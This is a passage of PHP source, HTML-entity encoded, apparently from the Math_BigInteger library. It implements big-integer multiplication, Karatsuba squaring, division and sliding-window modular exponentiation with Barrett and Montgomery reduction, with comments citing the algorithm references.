        $product = new Math_BigInteger();
        $product-&gt;value = $temp[MATH_BIGINTEGER_VALUE];
        $product-&gt;is_negative = $temp[MATH_BIGINTEGER_SIGN];

        return $this-&gt;_normalize($product);
    }

    /**
     * Performs multiplication.
     *
     * @param Array $x_value
     * @param Boolean $x_negative
     * @param Array $y_value
     * @param Boolean $y_negative
     * @return Array
     * @access private
     */
    function _multiply($x_value, $x_negative, $y_value, $y_negative)
    {
        //if ( $x_value == $y_value ) {
        //    return array(
        //        MATH_BIGINTEGER_VALUE =&gt; $this-&gt;_square($x_value),
        //        MATH_BIGINTEGER_SIGN =&gt; $x_sign != $y_value
        //    );
        //}

        $x_length = count($x_value);
        $y_length = count($y_value);

        if ( !$x_length || !$y_length ) { // a 0 is being multiplied
            return array(
                MATH_BIGINTEGER_VALUE =&gt; array(),
                MATH_BIGINTEGER_SIGN =&gt; false
            );
        }

        return array(
            MATH_BIGINTEGER_VALUE =&gt; min($x_length, $y_length) &lt; 2 * MATH_BIGINTEGER_KARATSUBA_CUTOFF ?
                $this-&gt;_trim($this-&gt;_regularMultiply($x_value, $y_value)) :
                $this-&gt;_trim($this-&gt;_karatsuba($x_value, $y_value)),
            MATH_BIGINTEGER_SIGN =&gt; $x_negative != $y_negative
        );
    }

    /**
     * Performs long multiplication on two BigIntegers
     *
     * Modeled after 'multiply' in MutableBigInteger.java.
     *
     * @param Array $x_value
     * @param Array $y_value
     * @return Array
     * @access private
     */
    function _regularMultiply($x_value, $y_value)
    {
        $x_length = count($x_value);
        $y_length = count($y_value);

        if ( !$x_length || !$y_length ) { // a 0 is being multiplied
            return array();
        }

        if ( $x_length &lt; $y_length ) {
            $temp = $x_value;
            $x_value = $y_value;
            $y_value = $temp;

            $x_length = count($x_value);
            $y_length = count($y_value);
        }

        $product_value = $this-&gt;_array_repeat(0, $x_length + $y_length);

        // the following for loop could be removed if the for loop following it
        // (the one with nested for loops) initially set $i to 0, but
        // doing so would also make the result in one set of unnecessary adds,
        // since on the outermost loops first pass, $product-&gt;value[$k] is going
        // to always be 0

        $carry = 0;

        for ($j = 0; $j &lt; $x_length; ++$j) { // ie. $i = 0
            $temp = $x_value[$j] * $y_value[0] + $carry; // $product_value[$k] == 0
            $carry = (int) ($temp / 0x4000000);
            $product_value[$j] = (int) ($temp - 0x4000000 * $carry);
        }

        $product_value[$j] = $carry;

        // the above for loop is what the previous comment was talking about.  the
        // following for loop is the &quot;one with nested for loops&quot;
        for ($i = 1; $i &lt; $y_length; ++$i) {
            $carry = 0;

            for ($j = 0, $k = $i; $j &lt; $x_length; ++$j, ++$k) {
                $temp = $product_value[$k] + $x_value[$j] * $y_value[$i] + $carry;
                $carry = (int) ($temp / 0x4000000);
                $product_value[$k] = (int) ($temp - 0x4000000 * $carry);
            }

            $product_value[$k] = $carry;
        }

        return $product_value;
    }

    /**
     * Performs Karatsuba multiplication on two BigIntegers
     *
     * See {@link http://en.wikipedia.org/wiki/Karatsuba_algorithm Karatsuba algorithm} and
     * {@link http://math.libtomcrypt.com/files/tommath.pdf#page=120 MPM 5.2.3}.
     *
     * @param Array $x_value
     * @param Array $y_value
     * @return Array
     * @access private
     */
    function _karatsuba($x_value, $y_value)
    {
        $m = min(count($x_value) &gt;&gt; 1, count($y_value) &gt;&gt; 1);

        if ($m &lt; MATH_BIGINTEGER_KARATSUBA_CUTOFF) {
            return $this-&gt;_regularMultiply($x_value, $y_value);
        }

        $x1 = array_slice($x_value, $m);
        $x0 = array_slice($x_value, 0, $m);
        $y1 = array_slice($y_value, $m);
        $y0 = array_slice($y_value, 0, $m);

        $z2 = $this-&gt;_karatsuba($x1, $y1);
        $z0 = $this-&gt;_karatsuba($x0, $y0);

        $z1 = $this-&gt;_add($x1, false, $x0, false);
        $temp = $this-&gt;_add($y1, false, $y0, false);
        $z1 = $this-&gt;_karatsuba($z1[MATH_BIGINTEGER_VALUE], $temp[MATH_BIGINTEGER_VALUE]);
        $temp = $this-&gt;_add($z2, false, $z0, false);
        $z1 = $this-&gt;_subtract($z1, false, $temp[MATH_BIGINTEGER_VALUE], false);

        $z2 = array_merge(array_fill(0, 2 * $m, 0), $z2);
        $z1[MATH_BIGINTEGER_VALUE] = array_merge(array_fill(0, $m, 0), $z1[MATH_BIGINTEGER_VALUE]);

        $xy = $this-&gt;_add($z2, false, $z1[MATH_BIGINTEGER_VALUE], $z1[MATH_BIGINTEGER_SIGN]);
        $xy = $this-&gt;_add($xy[MATH_BIGINTEGER_VALUE], $xy[MATH_BIGINTEGER_SIGN], $z0, false);

        return $xy[MATH_BIGINTEGER_VALUE];
    }

    /**
     * Performs squaring
     *
     * @param Array $x
     * @return Array
     * @access private
     */
    function _square($x = false)
    {
        return count($x) &lt; 2 * MATH_BIGINTEGER_KARATSUBA_CUTOFF ?
            $this-&gt;_trim($this-&gt;_baseSquare($x)) :
            $this-&gt;_trim($this-&gt;_karatsubaSquare($x));
    }

    /**
     * Performs traditional squaring on two BigIntegers
     *
     * Squaring can be done faster than multiplying a number by itself can be.  See
     * {@link http://www.cacr.math.uwaterloo.ca/hac/about/chap14.pdf#page=7 HAC 14.2.4} /
     * {@link http://math.libtomcrypt.com/files/tommath.pdf#page=141 MPM 5.3} for more information.
     *
     * @param Array $value
     * @return Array
     * @access private
     */
    function _baseSquare($value)
    {
        if ( empty($value) ) {
            return array();
        }
        $square_value = $this-&gt;_array_repeat(0, 2 * count($value));

        for ($i = 0, $max_index = count($value) - 1; $i &lt;= $max_index; ++$i) {
            $i2 = $i &lt;&lt; 1;

            $temp = $square_value[$i2] + $value[$i] * $value[$i];
            $carry = (int) ($temp / 0x4000000);
            $square_value[$i2] = (int) ($temp - 0x4000000 * $carry);

            // note how we start from $i+1 instead of 0 as we do in multiplication.
            for ($j = $i + 1, $k = $i2 + 1; $j &lt;= $max_index; ++$j, ++$k) {
                $temp = $square_value[$k] + 2 * $value[$j] * $value[$i] + $carry;
                $carry = (int) ($temp / 0x4000000);
                $square_value[$k] = (int) ($temp - 0x4000000 * $carry);
            }

            // the following line can yield values larger 2**15.  at this point, PHP should switch
            // over to floats.
            $square_value[$i + $max_index + 1] = $carry;
        }

        return $square_value;
    }

    /**
     * Performs Karatsuba &quot;squaring&quot; on two BigIntegers
     *
     * See {@link http://en.wikipedia.org/wiki/Karatsuba_algorithm Karatsuba algorithm} and
     * {@link http://math.libtomcrypt.com/files/tommath.pdf#page=151 MPM 5.3.4}.
     *
     * @param Array $value
     * @return Array
     * @access private
     */
    function _karatsubaSquare($value)
    {
        $m = count($value) &gt;&gt; 1;

        if ($m &lt; MATH_BIGINTEGER_KARATSUBA_CUTOFF) {
            return $this-&gt;_baseSquare($value);
        }

        $x1 = array_slice($value, $m);
        $x0 = array_slice($value, 0, $m);

        $z2 = $this-&gt;_karatsubaSquare($x1);
        $z0 = $this-&gt;_karatsubaSquare($x0);

        $z1 = $this-&gt;_add($x1, false, $x0, false);
        $z1 = $this-&gt;_karatsubaSquare($z1[MATH_BIGINTEGER_VALUE]);
        $temp = $this-&gt;_add($z2, false, $z0, false);
        $z1 = $this-&gt;_subtract($z1, false, $temp[MATH_BIGINTEGER_VALUE], false);

        $z2 = array_merge(array_fill(0, 2 * $m, 0), $z2);
        $z1[MATH_BIGINTEGER_VALUE] = array_merge(array_fill(0, $m, 0), $z1[MATH_BIGINTEGER_VALUE]);

        $xx = $this-&gt;_add($z2, false, $z1[MATH_BIGINTEGER_VALUE], $z1[MATH_BIGINTEGER_SIGN]);
        $xx = $this-&gt;_add($xx[MATH_BIGINTEGER_VALUE], $xx[MATH_BIGINTEGER_SIGN], $z0, false);

        return $xx[MATH_BIGINTEGER_VALUE];
    }

    /**
     * Divides two BigIntegers.
     *
     * Returns an array whose first element contains the quotient and whose second element contains the
     * &quot;common residue&quot;.  If the remainder would be positive, the &quot;common residue&quot; and the remainder are the
     * same.  If the remainder would be negative, the &quot;common residue&quot; is equal to the sum of the remainder
     * and the divisor (basically, the &quot;common residue&quot; is the first positive modulo).
     *
     * Here's an example:
     * &lt;code&gt;
     * &lt;?php
     *    include('Math/BigInteger.php');
     *
     *    $a = new Math_BigInteger('10');
     *    $b = new Math_BigInteger('20');
     *
     *    list($quotient, $remainder) = $a-&gt;divide($b);
     *
     *    echo $quotient-&gt;toString(); // outputs 0
     *    echo &quot;\r\n&quot;;
     *    echo $remainder-&gt;toString(); // outputs 10
     * ?&gt;
     * &lt;/code&gt;
     *
     * @param Math_BigInteger $y
     * @return Array
     * @access public
     * @internal This function is based off of {@link http://www.cacr.math.uwaterloo.ca/hac/about/chap14.pdf#page=9 HAC 14.20}.
     */
    function divide($y)
    {
        switch ( MATH_BIGINTEGER_MODE ) {
            case MATH_BIGINTEGER_MODE_GMP:
                $quotient = new Math_BigInteger();
                $remainder = new Math_BigInteger();

                list($quotient-&gt;value, $remainder-&gt;value) = gmp_div_qr($this-&gt;value, $y-&gt;value);

                if (gmp_sign($remainder-&gt;value) &lt; 0) {
                    $remainder-&gt;value = gmp_add($remainder-&gt;value, gmp_abs($y-&gt;value));
                }

                return array($this-&gt;_normalize($quotient), $this-&gt;_normalize($remainder));
            case MATH_BIGINTEGER_MODE_BCMATH:
                $quotient = new Math_BigInteger();
                $remainder = new Math_BigInteger();

                $quotient-&gt;value = bcdiv($this-&gt;value, $y-&gt;value, 0);
                $remainder-&gt;value = bcmod($this-&gt;value, $y-&gt;value);

                if ($remainder-&gt;value[0] == '-') {
                    $remainder-&gt;value = bcadd($remainder-&gt;value, $y-&gt;value[0] == '-' ? substr($y-&gt;value, 1) : $y-&gt;value, 0);
                }

                return array($this-&gt;_normalize($quotient), $this-&gt;_normalize($remainder));
        }

        if (count($y-&gt;value) == 1) {
            list($q, $r) = $this-&gt;_divide_digit($this-&gt;value, $y-&gt;value[0]);
            $quotient = new Math_BigInteger();
            $remainder = new Math_BigInteger();
            $quotient-&gt;value = $q;
            $remainder-&gt;value = array($r);
            $quotient-&gt;is_negative = $this-&gt;is_negative != $y-&gt;is_negative;
            return array($this-&gt;_normalize($quotient), $this-&gt;_normalize($remainder));
        }

        static $zero;
        if ( !isset($zero) ) {
            $zero = new Math_BigInteger();
        }

        $x = $this-&gt;copy();
        $y = $y-&gt;copy();

        $x_sign = $x-&gt;is_negative;
        $y_sign = $y-&gt;is_negative;

        $x-&gt;is_negative = $y-&gt;is_negative = false;

        $diff = $x-&gt;compare($y);

        if ( !$diff ) {
            $temp = new Math_BigInteger();
            $temp-&gt;value = array(1);
            $temp-&gt;is_negative = $x_sign != $y_sign;
            return array($this-&gt;_normalize($temp), $this-&gt;_normalize(new Math_BigInteger()));
        }

        if ( $diff &lt; 0 ) {
            // if $x is negative, &quot;add&quot; $y.
            if ( $x_sign ) {
                $x = $y-&gt;subtract($x);
            }
            return array($this-&gt;_normalize(new Math_BigInteger()), $this-&gt;_normalize($x));
        }

        // normalize $x and $y as described in HAC 14.23 / 14.24
        $msb = $y-&gt;value[count($y-&gt;value) - 1];
        for ($shift = 0; !($msb &amp; 0x2000000); ++$shift) {
            $msb &lt;&lt;= 1;
        }
        $x-&gt;_lshift($shift);
        $y-&gt;_lshift($shift);
        $y_value = &amp;$y-&gt;value;

        $x_max = count($x-&gt;value) - 1;
        $y_max = count($y-&gt;value) - 1;

        $quotient = new Math_BigInteger();
        $quotient_value = &amp;$quotient-&gt;value;
        $quotient_value = $this-&gt;_array_repeat(0, $x_max - $y_max + 1);

        static $temp, $lhs, $rhs;
        if (!isset($temp)) {
            $temp = new Math_BigInteger();
            $lhs =  new Math_BigInteger();
            $rhs =  new Math_BigInteger();
        }
        $temp_value = &amp;$temp-&gt;value;
        $rhs_value =  &amp;$rhs-&gt;value;

        // $temp = $y &lt;&lt; ($x_max - $y_max-1) in base 2**26
        $temp_value = array_merge($this-&gt;_array_repeat(0, $x_max - $y_max), $y_value);

        while ( $x-&gt;compare($temp) &gt;= 0 ) {
            // calculate the &quot;common residue&quot;
            ++$quotient_value[$x_max - $y_max];
            $x = $x-&gt;subtract($temp);
            $x_max = count($x-&gt;value) - 1;
        }

        for ($i = $x_max; $i &gt;= $y_max + 1; --$i) {
            $x_value = &amp;$x-&gt;value;
            $x_window = array(
                isset($x_value[$i]) ? $x_value[$i] : 0,
                isset($x_value[$i - 1]) ? $x_value[$i - 1] : 0,
                isset($x_value[$i - 2]) ? $x_value[$i - 2] : 0
            );
            $y_window = array(
                $y_value[$y_max],
                ( $y_max &gt; 0 ) ? $y_value[$y_max - 1] : 0
            );

            $q_index = $i - $y_max - 1;
            if ($x_window[0] == $y_window[0]) {
                $quotient_value[$q_index] = 0x3FFFFFF;
            } else {
                $quotient_value[$q_index] = (int) (
                    ($x_window[0] * 0x4000000 + $x_window[1])
                    /
                    $y_window[0]
                );
            }

            $temp_value = array($y_window[1], $y_window[0]);

            $lhs-&gt;value = array($quotient_value[$q_index]);
            $lhs = $lhs-&gt;multiply($temp);

            $rhs_value = array($x_window[2], $x_window[1], $x_window[0]);

            while ( $lhs-&gt;compare($rhs) &gt; 0 ) {
                --$quotient_value[$q_index];

                $lhs-&gt;value = array($quotient_value[$q_index]);
                $lhs = $lhs-&gt;multiply($temp);
            }

            $adjust = $this-&gt;_array_repeat(0, $q_index);
            $temp_value = array($quotient_value[$q_index]);
            $temp = $temp-&gt;multiply($y);
            $temp_value = &amp;$temp-&gt;value;
            $temp_value = array_merge($adjust, $temp_value);

            $x = $x-&gt;subtract($temp);

            if ($x-&gt;compare($zero) &lt; 0) {
                $temp_value = array_merge($adjust, $y_value);
                $x = $x-&gt;add($temp);

                --$quotient_value[$q_index];
            }

            $x_max = count($x_value) - 1;
        }

        // unnormalize the remainder
        $x-&gt;_rshift($shift);

        $quotient-&gt;is_negative = $x_sign != $y_sign;

        // calculate the &quot;common residue&quot;, if appropriate
        if ( $x_sign ) {
            $y-&gt;_rshift($shift);
            $x = $y-&gt;subtract($x);
        }

        return array($this-&gt;_normalize($quotient), $this-&gt;_normalize($x));
    }

    /**
     * Divides a BigInteger by a regular integer
     *
     * abc / x = a00 / x + b0 / x + c / x
     *
     * @param Array $dividend
     * @param Array $divisor
     * @return Array
     * @access private
     */
    function _divide_digit($dividend, $divisor)
    {
        $carry = 0;
        $result = array();

        for ($i = count($dividend) - 1; $i &gt;= 0; --$i) {
            $temp = 0x4000000 * $carry + $dividend[$i];
            $result[$i] = (int) ($temp / $divisor);
            $carry = (int) ($temp - $divisor * $result[$i]);
        }

        return array($result, $carry);
    }

    /**
     * Performs modular exponentiation.
     *
     * Here's an example:
     * &lt;code&gt;
     * &lt;?php
     *    include('Math/BigInteger.php');
     *
     *    $a = new Math_BigInteger('10');
     *    $b = new Math_BigInteger('20');
     *    $c = new Math_BigInteger('30');
     *
     *    $c = $a-&gt;modPow($b, $c);
     *
     *    echo $c-&gt;toString(); // outputs 10
     * ?&gt;
     * &lt;/code&gt;
     *
     * @param Math_BigInteger $e
     * @param Math_BigInteger $n
     * @return Math_BigInteger
     * @access public
     * @internal The most naive approach to modular exponentiation has very unreasonable requirements, and
     *    and although the approach involving repeated squaring does vastly better, it, too, is impractical
     *    for our purposes.  The reason being that division - by far the most complicated and time-consuming
     *    of the basic operations (eg. +,-,*,/) - occurs multiple times within it.
     *
     *    Modular reductions resolve this issue.  Although an individual modular reduction takes more time
     *    then an individual division, when performed in succession (with the same modulo), they're a lot faster.
     *
     *    The two most commonly used modular reductions are Barrett and Montgomery reduction.  Montgomery reduction,
     *    although faster, only works when the gcd of the modulo and of the base being used is 1.  In RSA, when the
     *    base is a power of two, the modulo - a product of two primes - is always going to have a gcd of 1 (because
     *    the product of two odd numbers is odd), but what about when RSA isn't used?
     *
     *    In contrast, Barrett reduction has no such constraint.  As such, some bigint implementations perform a
     *    Barrett reduction after every operation in the modpow function.  Others perform Barrett reductions when the
     *    modulo is even and Montgomery reductions when the modulo is odd.  BigInteger.java's modPow method, however,
     *    uses a trick involving the Chinese Remainder Theorem to factor the even modulo into two numbers - one odd and
     *    the other, a power of two - and recombine them, later.  This is the method that this modPow function uses.
     *    {@link http://islab.oregonstate.edu/papers/j34monex.pdf Montgomery Reduction with Even Modulus} elaborates.
     */
    function modPow($e, $n)
    {
        $n = $this-&gt;bitmask !== false &amp;&amp; $this-&gt;bitmask-&gt;compare($n) &lt; 0 ? $this-&gt;bitmask : $n-&gt;abs();

        if ($e-&gt;compare(new Math_BigInteger()) &lt; 0) {
            $e = $e-&gt;abs();

            $temp = $this-&gt;modInverse($n);
            if ($temp === false) {
                return false;
            }

            return $this-&gt;_normalize($temp-&gt;modPow($e, $n));
        }

        switch ( MATH_BIGINTEGER_MODE ) {
            case MATH_BIGINTEGER_MODE_GMP:
                $temp = new Math_BigInteger();
                $temp-&gt;value = gmp_powm($this-&gt;value, $e-&gt;value, $n-&gt;value);

                return $this-&gt;_normalize($temp);
            case MATH_BIGINTEGER_MODE_BCMATH:
                $temp = new Math_BigInteger();
                $temp-&gt;value = bcpowmod($this-&gt;value, $e-&gt;value, $n-&gt;value, 0);

                return $this-&gt;_normalize($temp);
        }

        if ( empty($e-&gt;value) ) {
            $temp = new Math_BigInteger();
            $temp-&gt;value = array(1);
            return $this-&gt;_normalize($temp);
        }

        if ( $e-&gt;value == array(1) ) {
            list(, $temp) = $this-&gt;divide($n);
            return $this-&gt;_normalize($temp);
        }

        if ( $e-&gt;value == array(2) ) {
            $temp = new Math_BigInteger();
            $temp-&gt;value = $this-&gt;_square($this-&gt;value);
            list(, $temp) = $temp-&gt;divide($n);
            return $this-&gt;_normalize($temp);
        }

        return $this-&gt;_normalize($this-&gt;_slidingWindow($e, $n, MATH_BIGINTEGER_BARRETT));

        // is the modulo odd?
        if ( $n-&gt;value[0] &amp; 1 ) {
            return $this-&gt;_normalize($this-&gt;_slidingWindow($e, $n, MATH_BIGINTEGER_MONTGOMERY));
        }
        // if it's not, it's even

        // find the lowest set bit (eg. the max pow of 2 that divides $n)
        for ($i = 0; $i &lt; count($n-&gt;value); ++$i) {
            if ( $n-&gt;value[$i] ) {
                $temp = decbin($n-&gt;value[$i]);
                $j = strlen($temp) - strrpos($temp, '1') - 1;
                $j+= 26 * $i;
                break;
            }
        }
        // at this point, 2^$j * $n/(2^$j) == $n

        $mod1 = $n-&gt;copy();
        $mod1-&gt;_rshift($j);
        $mod2 = new Math_BigInteger();
        $mod2-&gt;value = array(1);
        $mod2-&gt;_lshift($j);

        $part1 = ( $mod1-&gt;value != array(1) ) ? $this-&gt;_slidingWindow($e, $mod1, MATH_BIGINTEGER_MONTGOMERY) : new Math_BigInteger();
        $part2 = $this-&gt;_slidingWindow($e, $mod2, MATH_BIGINTEGER_POWEROF2);

        $y1 = $mod2-&gt;modInverse($mod1);
        $y2 = $mod1-&gt;modInverse($mod2);

        $result = $part1-&gt;multiply($mod2);
        $result = $result-&gt;multiply($y1);

        $temp = $part2-&gt;multiply($mod1);
        $temp = $temp-&gt;multiply($y2);

        $result = $result-&gt;add($temp);
        list(, $result) = $result-&gt;divide($n);

        return $this-&gt;_normalize($result);
    }

    /**
     * Performs modular exponentiation.
     *
     * Alias for Math_BigInteger::modPow()
     *
     * @param Math_BigInteger $e
     * @param Math_BigInteger $n
     * @return Math_BigInteger
     * @access public
     */
    function powMod($e, $n)
    {
        return $this-&gt;modPow($e, $n);
    }

    /**
     * Sliding Window k-ary Modular Exponentiation
     *
     * Based on {@link http://www.cacr.math.uwaterloo.ca/hac/about/chap14.pdf#page=27 HAC 14.85} /
     * {@link http://math.libtomcrypt.com/files/tommath.pdf#page=210 MPM 7.7}.  In a departure from those algorithims,
     * however, this function performs a modular reduction after every multiplication and squaring operation.
     * As such, this function has the same preconditions that the reductions being used do.
     *
     * @param Math_BigInteger $e
     * @param Math_BigInteger $n
     * @param Integer $mode
     * @return Math_BigInteger
     * @access private
     */
    function _slidingWindow($e, $n, $mode)
    {
        static $window_ranges = array(7, 25, 81, 241, 673, 1793); // from BigInteger.java's oddModPow function
        //static $window_ranges = array(0, 7, 36, 140, 450, 1303, 3529); // from MPM 7.3.1

        $e_value = $e-&gt;value;
        $e_length = count($e_value) - 1;
        $e_bits = decbin($e_value[$e_length]);
        for ($i = $e_length - 1; $i &gt;= 0; --$i) {
            $e_bits.= str_pad(decbin($e_value[$i]), 26, '0', STR_PAD_LEFT);
        }

        $e_length = strlen($e_bits);

        // calculate the appropriate window size.
        // $window_size == 3 if $window_ranges is between 25 and 81, for example.
        for ($i = 0, $window_size = 1; $e_length &gt; $window_ranges[$i] &amp;&amp; $i &lt; count($window_ranges); ++$window_size, ++$i);

        $n_value = $n-&gt;value;

        // precompute $this^0 through $this^$window_size
        $powers = array();
        $powers[1] = $this-&gt;_prepareReduce($this-&gt;value, $n_value, $mode);
        $powers[2] = $this-&gt;_squareReduce($powers[1], $n_value, $mode);

        // we do every other number since substr($e_bits, $i, $j+1) (see below) is supposed to end
        // in a 1.  ie. it's supposed to be odd.
        $temp = 1 &lt;&lt; ($window_size - 1);
        for ($i = 1; $i &lt; $temp; ++$i) {
            $i2 = $i &lt;&lt; 1;
            $powers[$i2 + 1] = $this-&gt;_multiplyReduce($powers[$i2 - 1], $powers[2], $n_value, $mode);
        }

        $result = array(1);
        $result = $this-&gt;_prepareReduce($result, $n_value, $mode);

        for ($i = 0; $i &lt; $e_length; ) {
            if ( !$e_bits[$i] ) {
                $result = $this-&gt;_squareReduce($result, $n_value, $mode);
                ++$i;
            } else {
                for ($j = $window_size - 1; $j &gt; 0; --$j) {
                    if ( !empty($e_bits[$i + $j]) ) {
                        break;
                    }
                }

                for ($k = 0; $k &lt;= $j; ++$k) {// eg. the length of substr($e_bits, $i, $j+1)
                    $result = $this-&gt;_squareReduce($result, $n_value, $mode);
                }

                $result = $this-&gt;_multiplyReduce($result, $powers[bindec(substr($e_bits, $i, $j + 1))], $n_value, $mode);

                $i+=$j + 1;
            }
        }

        $temp = new Math_BigInteger();
        $temp-&gt;value = $this-&gt;_reduce($result, $n_value, $mode);

        return $temp;
    }

    /**
     * Modular reduction
     *
     * For most $modes this will return the remainder.
     *
     * @see _slidingWindow()
     * @access private
     * @param Array $x
     * @param Array $n
     * @param Integer $mode
     * @return Array
     */
    function _reduce($x, $n, $mode)
    {
        switch ($mode) {
            case MATH_BIGINTEGER_MONTGOMERY:
                return $this-&gt;_montgomery($x, $n);
            case MATH_BIGINTEGER_BARRETT:
                return $this-&gt;_barrett($x, $n);
            case MATH_BIGINTEGER_POWEROF2:
                $lhs = new Math_BigInteger();
                $lhs-&gt;value = $x;
                $rhs = new Math_BigInteger();
                $rhs-&gt;value = $n;
                return $x-&gt;_mod2($n);
            case MATH_BIGINTEGER_CLASSIC:
                $lhs = new Math_BigInteger();
                $lhs-&gt;value = $x;
                $rhs = new Math_BigInteger();
                $rhs-&gt;value = $n;
                list(, $temp) = $lhs-&gt;divide($rhs);
                return $temp-&gt;value;
            case MATH_BIGINTEGER_NONE:
                return $x;
            default:
                // an invalid $mode was provided
        }
    }

    /**
     * Modular reduction preperation
     *
     * @see _slidingWindow()
     * @access private
     * @param Array $x
     * @param Array $n
     * @param Integer $mode
     * @return Array
     */
    function _prepareReduce($x, $n, $mode)
    {
        if ($mode == MATH_BIGINTEGER_MONTGOMERY) {
            return $this-&gt;_prepMontgomery($x, $n);
        }
        return $this-&gt;_reduce($x, $n, $mode);
    }

    /**
     * Modular multiply
     *
     * @see _slidingWindow()
     * @access private
     * @param Array $x
     * @param Array $y
     * @param Array $n
     * @param Integer $mode
     * @return Array
     */
    function _multiplyReduce($x, $y, $n, $mode)
    {
        if ($mode == MATH_BIGINTEGER_MONTGOMERY) {
            return $this-&gt;_montgomeryMultiply($x, $y, $n);
        }
        $temp = $this-&gt;_multiply($x, false, $y, false);
        return $this-&gt;_reduce($temp[MATH_BIGINTEGER_VALUE], $n, $mode);
    }

    /**
     * Modular square
     *
     * @see _slidingWindow()
     * @access private
     * @param Array $x
     * @param Array $n
     * @param Integer $mode
     * @return Array
     */
    function _squareReduce($x, $n, $mode)
    {
        if ($mode == MATH_BIGINTEGER_MONTGOMERY) {
            return $this-&gt;_montgomeryMultiply($x, $x, $n);
        }
        return $this-&gt;_reduce($this-&gt;_square($x), $n, $mode);
    }

    /**
     * Modulos for Powers of Two
     *
     * Calculates $x%$n, where $n = 2**$e, for some $e.  Since this is basically the same as doing $x &amp; ($n-1),
     * we'll just use this function as a wrapper for doing that.
     *
     * @see _slidingWindow()
     * @access private
     * @param Math_BigInteger
     * @return Math_BigInteger
     */
    function _mod2($n)
    {
        $temp = new Math_BigInteger();
        $temp-&gt;value = array(1);
        return $this-&gt;bitwise_and($n-&gt;subtract($temp));
    }

    /**
     * Barrett Modular Reduction
     *
     * See {@link http://www.cacr.math.uwaterloo.ca/hac/about/chap14.pdf#page=14 HAC 14.3.3} /
     * {@link http://math.libtomcrypt.com/files/tommath.pdf#page=165 MPM 6.2.5} for more information.  Modified slightly,
     * so as not to require negative numbers (initially, this script didn't support negative numbers).
     *
     * Employs &quot;folding&quot;, as described at
     * {@link http://www.cosic.esat.kuleuven.be/publications/thesis-149.pdf#page=66 thesis-149.pdf#page=66}.  To quote from
     * it, &quot;the idea [behind folding] is to find a value x' such that x (mod m) = x' (mod m), with x' being smaller than x.&quot;
     *
     * Unfortunately, the &quot;Barrett Reduction with Folding&quot; algorithm described in thesis-149.pdf is not, as written, all that
     * usable on account of (1) its not using reasonable radix points as discussed in
     * {@link http://math.libtomcrypt.com/files/tommath.pdf#page=162 MPM 6.2.2} and (2) the fact that, even with reasonable
     * radix points, it only works when there are an even number of digits in the denominator.  The reason for (2) is that
     * (x &gt;&gt; 1) + (x &gt;&gt; 1) != x / 2 + x / 2.  If x is even, they're the same, but if x is odd, they're not.  See the in-line
     * comments for details.
     *
     * @see _slidingWindow()
     * @access private
     * @param Array $n
     * @param Array $m
     * @return Array
     */
    function _barrett($n, $m)
    {
        static $cache = array(
            MATH_BIGINTEGER_VARIABLE =&gt; array(),
            MATH_BIGINTEGER_DATA =&gt; array()
        );

        $m_length = count($m);

        // if ($this-&gt;_compare($n, $this-&gt;_square($m)) &gt;= 0) {
        if (count($n) &gt; 2 * $m_length) {
            $lhs = new Math_BigInteger();
            $rhs = new Math_BigInteger();
            $lhs-&gt;value = $n;
            $rhs-&gt;value = $m;
            list(, $temp) = $lhs-&gt;divide($rhs);
            return $temp-&gt;value;
        }

        // if (m.length &gt;&gt; 1) + 2 &lt;= m.length then m is too small and n can't be reduced
        if ($m_length &lt; 5) {
            return $this-&gt;_regularBarrett($n, $m);
        }

        // n = 2 * m.length

        if ( ($key = array_search($m, $cache[MATH_BIGINTEGER_VARIABLE])) === false ) {
            $key = count($cache[MATH_BIGINTEGER_VARIABLE]);
            $cache[MATH_BIGINTEGER_VARIABLE][] = $m;

            $lhs = new Math_BigInteger();
            $lhs_value = &amp;$lhs-&gt;value;
            $lhs_value = $this-&gt;_array_repeat(0, $m_length + ($m_length &gt;&gt; 1));
            $lhs_value[] = 1;
            $rhs = new Math_BigInteger();
            $rhs-&gt;value = $m;

            list($u, $m1) = $lhs-&gt;divide($rhs);
            $u = $u-&gt;value;
            $m1 = $m1-&gt;value;

            $cache[MATH_BIGINTEGER_DATA][] = array(
                'u' =&gt; $u, // m.length &gt;&gt; 1 (technically (m.length &gt;&gt; 1) + 1)
                'm1'=&gt; $m1 // m.length
            );
        } else {
            extract($cache[MATH_BIGINTEGER_DATA][$key]);
        }

        $cutoff = $m_length + ($m_length &gt;&gt; 1);
        $lsd = array_slice($n, 0, $cutoff); // m.length + (m.length &gt;&gt; 1)
        $msd = array_slice($n, $cutoff);    // m.length &gt;&gt; 1
        $lsd = $this-&gt;_trim($lsd);
        $temp = $this-&gt;_multiply($msd, false, $m1, false);
        $n = $this-&gt;_add($lsd, false, $temp[MATH_BIGINTEGER_VALUE], false); // m.length + (m.length &gt;&gt; 1) + 1

        if ($m_length &amp; 1) {
            return $this-&gt;_regularBarrett($n[MATH_BIGINTEGER_VALUE], $m);
        }

        // (m.length + (m.length &gt;&gt; 1) + 1) - (m.length - 1) == (m.length &gt;&gt; 1) + 2
        $temp = array_slice($n[MATH_BIGINTEGER_VALUE], $m_length - 1);
        // if even: ((m.length &gt;&gt; 1) + 2) + (m.length &gt;&gt; 1) == m.length + 2
        // if odd:  ((m.length &gt;&gt; 1) + 2) + (m.length &gt;&gt; 1) == (m.length - 1) + 2 == m.length + 1
        $temp = $this-&gt;_multiply($temp, false, $u, false);
        // if even: (m.length + 2) - ((m.length &gt;&gt; 1) + 1) = m.length - (m.length &gt;&gt; 1) + 1
        // if odd:  (m.length + 1) - ((m.length &gt;&gt; 1) + 1) = m.length - (m.length &gt;&gt; 1)
        $temp = array_slice($temp[MATH_BIGINTEGER_VALUE], ($m_length &gt;&gt; 1) + 1);
        // if even: (m.length - (m.length &gt;&gt; 1) + 1) + m.length = 2 * m.length - (m.length &gt;&gt; 1) + 1
        // if odd:  (m.length - (m.length &gt;&gt; 1)) + m.length     = 2 * m.length - (m.length &gt;&gt; 1)
        $temp = $this-&gt;_multiply($temp, false, $m, false);

        // at this point, if m had an odd number of digits, we'd be subtracting a 2 * m.length - (m.length &gt;&gt; 1) digit
        // number from a m.length + (m.length &gt;&gt; 1) + 1 digit number.  ie. there'd be an extra digit and the while loop
        // following this comment would loop a lot (hence our calling _regularBarrett() in that situation).

        $result = $this-&gt;_subtract($n[MATH_BIGINTEGER_VALUE], false, $temp[MATH_BIGINTEGER_VALUE], false);

        while ($this-&gt;_compare($result[MATH_BIGINTEGER_VALUE], $result[MATH_BIGINTEGER_SIGN], $m, false) &gt;= 0) {
            $result = $this-&gt;_subtract($result[MATH_BIGINTEGER_VALUE], $result[MATH_BIGINTEGER_SIGN], $m, false);
        }

